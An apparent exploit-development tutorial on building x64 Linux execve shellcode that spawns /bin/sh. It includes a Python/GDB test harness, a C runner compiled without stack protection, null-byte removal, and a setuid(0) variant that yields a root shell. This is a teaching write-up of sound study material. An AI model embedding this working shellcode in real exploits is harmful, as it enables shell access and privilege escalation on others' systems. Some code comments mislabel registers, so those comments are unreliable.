Execve Shellcode

execve is a Linux system call that replaces the current process image with a new process image, meaning the currently running process is completely replaced by the new program.

In this article we will be looking at executing execve using shellcode on x64 Ubuntu Linux.


Execve Arguments

Execve takes the following arguments.

int execve(
const char *pathname,  // A pointer to the path of the executable to be run
char *const argv[],    // An array of pointers representing the arguments to be passed to the program
char *const envp[]);   // An array of pointers representing environment variables to be passed to the program
)

As such, our shellcode will need to populate the following x64 registers:

  • rax: Syscall number (59 for execve())
  • rdi: filename (path to the executable, such as /bin/sh)
  • rsi: argv (pointer to the argument vector)
  • rdx: envp (pointer to the environment vector)

For ease of debugging, we can create a Python script that uses keystone engine. This will allow us to modify the assembly code, and execute it in a debugging environment (GDB) instantly. The alternative would be to compile the assembly code each time, which is more arduous if we’re making lots of changes.

import keystone
import mmap
import ctypes
import os
import sys
import time
import threading
import subprocess

asm_code = """
    int3                       // Software breakpoint. Remove this before using the shellcode.
    mov rdi,0x0068732f6e69622f // bin/sh string to RDI
    push rdi                   // Push the /bin/sh string to the stack
    push rsp                   // Push stack pointer to the stack. This now points to the /bin/sh string
    pop rdi                    // Pop the pointer to the /bin/sh string back into RDI
    xor rsi,rsi                // Zero RSI (argument vector)
    xor rdx,rdx                // Zero RDX (environment vector)
    mov rax, 59                // Syscall number into RDX
    syscall                    // make our execve system call
"""

ks = keystone.Ks(keystone.KS_ARCH_X86, keystone.KS_MODE_64)
encoding, count = ks.asm(asm_code)
machine_code = bytearray(encoding)
num_bytes = len(machine_code)

formatted_hex = ''.join(f'\\x{byte:02x}' for byte in machine_code)

# Print shellcode and size, without the software breakpoint
print("Shellcode: " + formatted_hex[4:])
print("Shellcode length: " + str(num_bytes-1))
input("Press any key to continue...")

page_size = mmap.PAGESIZE
mem = mmap.mmap(-1, page_size, prot=mmap.PROT_READ | mmap.PROT_WRITE | mmap.PROT_EXEC)
mem.write(machine_code)

pid = os.getpid()
print(f"Process ID: {pid}")

mem_address = hex(ctypes.addressof(ctypes.c_char.from_buffer(mem)))
gdb_command = f"gdb -q -p {pid} -ex 'break *{mem_address}' -ex 'continue'"

prototype = ctypes.CFUNCTYPE(None)
mem_ptr = prototype(ctypes.addressof(ctypes.c_char.from_buffer(mem)))

def execute_machine_code():
    print("Executing machine code asynchronously...")
    time.sleep(3)
    mem_ptr()

execution_thread = threading.Thread(target=execute_machine_code)
execution_thread.start()

print("Running GDB")
os.system(gdb_command)

execution_thread.join()
mem.close()

If GDB has problems attaching to the target process, you may need to relax the ptrace security restrictions on your system using the following command (this needs to be done on reboot).

sudo sysctl -w kernel.yama.ptrace_scope=0

Running the code should first list our shellcode:

./bin/python3 shellcode_runner.py 
Shellcode: \xcc\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x00\x57\x54\x5f\x48\x31\xf6\x48\x31\xd2\x48\xc7\xc0\x3b\x00\x00\x00\x0f\x05
Press any key to continue...

After hitting enter, we end up in our debugging environment paused at the first instruction:

●→ 0x7ffff7bd3000                  int3   
   0x7ffff7bd3001                  movabs rdi, 0x68732f6e69622f
   0x7ffff7bd300b                  push   rdi
   0x7ffff7bd300c                  push   rsp
   0x7ffff7bd300d                  pop    rdi
   0x7ffff7bd300e                  xor    rsi, rsi

C Runner

We can test the code works outside of our debugging environment by using the following C code.

int main(int argc, char **argv)
{
    char code[] = "\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05";
    int (*func)();
    func = (int (*)()) code;
    (int)(*func)();
    return 0;
}

Compile the code with:

gcc runner.c -o runner -fno-stack-protector -z execstack -no-pie

Running the executable should spawn a shell.

./runner 
$ id
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),5(tty),20(dialout),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),114(lpadmin)

Removing Null Bytes

Examining our shellcode, we can see we have several null bytes. Let’s update the code to remove these.

We need to make the following changes.

  • We zero the RSI register and push it to the stack to provide us with a null byte. This is used instead of including it in the /bin/sh string.
  • The /bin/sh string is changed to /bin//sh to provide us with some padding, since we no longer have the null byte present.
  • mov rax, 59 is changed to push 59;pop rax.
    xor rsi,rsi                // Zero RSI (argument vector). Also acts as NULL byte.
    push rsi                   // Push NULL byte to stack
    mov rdi,0x68732f2f6e69622f // bin//sh string to RDI
    push rdi                   // Push the /bin//sh string to the stack
    push rsp                   // Push stack pointer to the stack. This now points to the /bin/sh string
    pop rdi                    // Pop the pointer to the /bin/sh string back into RDI
    xor rdx,rdx                // Zero RDX (environment vector)
    push 59                    // Syscall number into RDX
    pop rax                    // Syscall number into RDX
    syscall                    // make our execve system call

Calling SetUID

We can make our shellcode runner application a SetUID binary using the following commands:

chown root runner
chgrp root runner
chmod +s runner

Then execute the binary, we can see we only have user privileges 🙁 To ensure our shellcode executes as root in setuid binaries, we can slightly modify our shellcode to include a setuid syscall first.

    push 105                   // setuid system call number to RAX
    pop rax                    // setuid system call number to RAX
    xor rdi, rdi               // Zero RDI
    syscall                    // Make our setuid system call
    xor rsi,rsi                // Zero RSI (argument vector). Also acts as NULL byte.
    push rsi                   // Push NULL byte to stack
    mov rdi,0x68732f2f6e69622f // bin//sh string to RDI
    push rdi                   // Push the /bin//sh string to the stack
    push rsp                   // Push stack pointer to the stack. This now points to the /bin/sh string
    pop rdi                    // Pop the pointer to the /bin/sh string back into RDI
    xor rdx,rdx                // Zero RDX (environment vector)
    push 59                    // Syscall number into RDX
    pop rax                    // Syscall number into RDX
    syscall                    // make our execve system call

Executing the updated runner will yield a root shell.

./runner 
# id
uid=0(root) gid=0(root) groups=0(root)

In Conclusion

Execve offers an alternative to spawning a separate subprocess using system(). Bear in mind that execve has no way of returning to the parent process since it’s memory has been replaced by the target process.